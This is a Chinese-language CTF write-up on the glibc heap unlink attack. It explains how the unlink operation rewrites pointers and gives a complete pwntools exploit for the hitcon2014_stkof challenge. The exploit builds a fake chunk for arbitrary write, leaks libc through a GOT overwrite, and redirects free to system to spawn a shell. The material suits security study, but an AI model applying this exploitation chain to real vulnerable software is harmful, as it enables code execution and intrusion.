unlink 攻击
unlink操作原理
当进行smallbinchunk 或者 unsortedchunk合并时,会将在链中的块unlink(解链)出来
unlink操作大白话就是说:
被unlink的块(以后叫它Q)前一个块的bk指向Q的bk
然后再把Q后一个块的fd指向Q的fd
攻击目的
篡改目标地址的指针指向它的地址-0x18
一般来说用来攻击块的指针表,实现任意地址写
攻击方式
会被篡改的位置会被系统识别为一个fd指针,这个位置我们称为 &target
那么这个块的开头就是 &target+0x10
fd 是 &target,bk是 &target-0x18
Q的fd 应填为&target - 0x18
bk应填为 &target - 0x10
结合unlink图
最后进行了两次赋值操作
target = &target - 0x10
target = &target - 0x18
也就也是 最后target 这个地址的值变成了 &target - 0x18
1 2 3 4 5 6 7 8 9
| 指针表
这个位置 -0x18 ------- -0x10 p_chunk1 -0x8 p_chunk2 <--往前推0x18 p_chunk3
p_chunk4
|
例题
hitcon2014_stkof
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import * from std_pwn import *
context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h']) elf = ELF("./stkof") libc = ELF("./libc-2.31.so")
free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts']
def alloc(size): sl(str(1)) sl(str(size)) ru("OK")
def fill(idx,content): sl(str(2)) sl(str(idx)) sl(str(len(content))) sl(content) ru("OK")
def free(idx): sl(str(3)) sl(str(idx))
alloc(0x30) #隔离前面的块 alloc(0x30) #放置 fack_chunk , 用来前向合并 alloc(0x80) #一个unsorted_bin,用堆溢出修改presize alloc(0x30) #等等有用
''' unlink 攻击: 当进行smallbinchunk 或者 unsortedchunk合并时,会将在链中的块unlink(解链)出来 unlink操作大白话就是说: 被unlink的块(以后叫它Q)前一个块的bk指向Q的bk 然后再把Q后一个块的fd指向Q的fd 攻击目标: 篡改目标地址的指针变成一个指向它周围的指针 一般来说用来攻击块的指针表,实现任意地址写 攻击方式:
会被篡改的位置会被系统识别为一个fd指针,这个位置我们称为 &target 那么这个块的开头就是 &target+0x10 fd 是 &target,bk是 &target-0x18
Q的fd 应填为&target - 0x18 bk应填为 &target - 0x10 结合unlink图 最后进行了两次赋值操作 target = &target - 0x10 target = &target - 0x18 也就也是 最后target 这个地址的值变成了 &target - 0x18 '''
''' 指针表
这个位置 -0x18 ------- -0x10 p_chunk1 -0x8 p_chunk2 <--往前推0x18 p_chunk3 p_chunk4 -------
'''
target = 0x602150 # 这个位置在 指针表里 是chunk2的指针地址 根据前面的理论,会把 上图所示地址放入 chunk2指针中 fd = target - 0x18 #这部分是死的 bk = target - 0x10
payload = p64(0)+p64(0x31) payload +=p64(fd)+p64(bk) payload +=0x10*b"a" payload +=p64(0x30)+p64(0x90) #溢出修改pre_size 多修改一字节,防止回车进入size fill(2,payload) #布置堆,为free以后前向合并 fake_chunk准备 # gdba() free(3) #释放一个unsortedchunk,触发前向合并 # print("get") # pause()
''' .got.plt:0000000000602018 40 41 E0 00 00 00 00 00 off_602018 dq offset free ; DATA XREF: _free↑r .got.plt:0000000000602020 48 41 E0 00 00 00 00 00 off_602020 dq offset puts ; DATA XREF: _puts↑r .got.plt:0000000000602028 50 41 E0 00 00 00 00 00 off_602028 dq offset fread ; DATA XREF: _fread↑r ''' payload = b'a'*0x10 + p64(free_got) +p64(puts_got) # 踩坑 fill修改的是 p+0x10 因为默认malloc返回chunk开头,而fill修改 fill(2,payload) # 这个时候chunk2 指针已经被修改 到了指针表上头 修改chunk1指针使其指向free的got表,等等用fill(1,context)修改 free 和puts的plt fill(1,p64(puts_plt))# 修改 free的got到puts gdba() free(2)#输出 puts_got puts_addr=uu64(ru("\x7f")[-6:]) log(puts_addr) libc_base=puts_addr - libc.sym['puts'] system_addr =libc_base+libc.sym['system'] log(libc_base) fill(1,p64(system_addr)) fill(4,b'/bin/sh\0') free(4) p.interactive() #终于通了,凑个一百行
|